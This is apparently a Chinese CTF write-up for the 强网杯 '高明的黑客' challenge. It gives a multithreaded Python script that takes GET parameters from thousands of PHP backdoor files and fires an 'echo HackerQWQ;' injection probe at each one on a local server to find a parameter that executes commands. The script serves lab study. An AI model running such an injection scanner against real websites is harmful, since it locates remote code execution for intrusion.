HacKerQWQ的博客空间

python多线程审计代码可利用变量

Word count: 543Reading time: 2 min
2020/10/29 Share

[强网杯]高明的黑客


index.php直接告诉我们源码在www.tar.gz,那就下载来看看
好家伙,直接三千多个文件

尝试过放到Seay源码审计软件里面自动审计,但是实在是太多了,发现了可能利用的漏洞眼睛也看不过来
下面是上网找的多线程脚本,值得学习,记录一下

Python多线程脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import threading
import time
import re
import os
import requests

#路径定义
url = "http://localhost/www/src/"
path = "D:/phpstudy_pro/WWW/www/src/"

#配置
filenames = os.listdir(path) #列出文件名
session = requests.Session()
session.keep_alive = False #设置连接为false
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
sem = threading.Semaphore(10) #设置最大线程数,防止崩溃
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
flag_file = open("flag.txt","w",encoding="utf-8")

def run(filename):
with sem:
file = open(path+filename,"r",encoding="utf-8")
print("[+]Checking:"+filename)
content = file.read()
for i in rrGET.findall(content):
#发出get请求
r = session.get(url+filename+"?{}={}".format(i,"echo HackerQWQ;"))
#如果发现了产生回显的变量则记在flag.txt中备用
if "HackerQWQ" in r.text:
flag = "{} param in {} could be used!".format(i,filename)
print(flag)
flag_file.write(flag)

if __name__ == "__main__":
start_time = time.time()
print("[+]程序开始:"+str(start_time))
thread_list = []
for name in filenames:
t = threading.Thread(target=run,args=(name,))
thread_list.append(t)

#开始线程
for t in thread_list:
t.setDaemon(True)
t.start()

#使子线程同步运行
for t in thread_list:
t.join()

end_time = time.time()
flag_file.close()
print("[+]程序结束:用时"+str(end_time-start_time))
  • setDaemon():将该线程声明为守护线程setDaemon(True),子线程会随着父线程的终止而终止;否则,子线程仍在运行中,主线程不会退出(但会向后执行),直到所有子线程运行结束。setDaemon()需要在start()前声明。

  • join(timeout):阻塞主线程,等待子线程结束,专注执行多线程,timeout为设置阻塞的超时时间。

解题

找到了一个可利用的变量

传入命令得到flag

参考链接

https://blog.csdn.net/weixin_43900387/article/details/105413942

CATALOG
  1. 1. [强网杯]高明的黑客
  2. 2. Python多线程脚本
  3. 3. 解题
    1. 3.1. 参考链接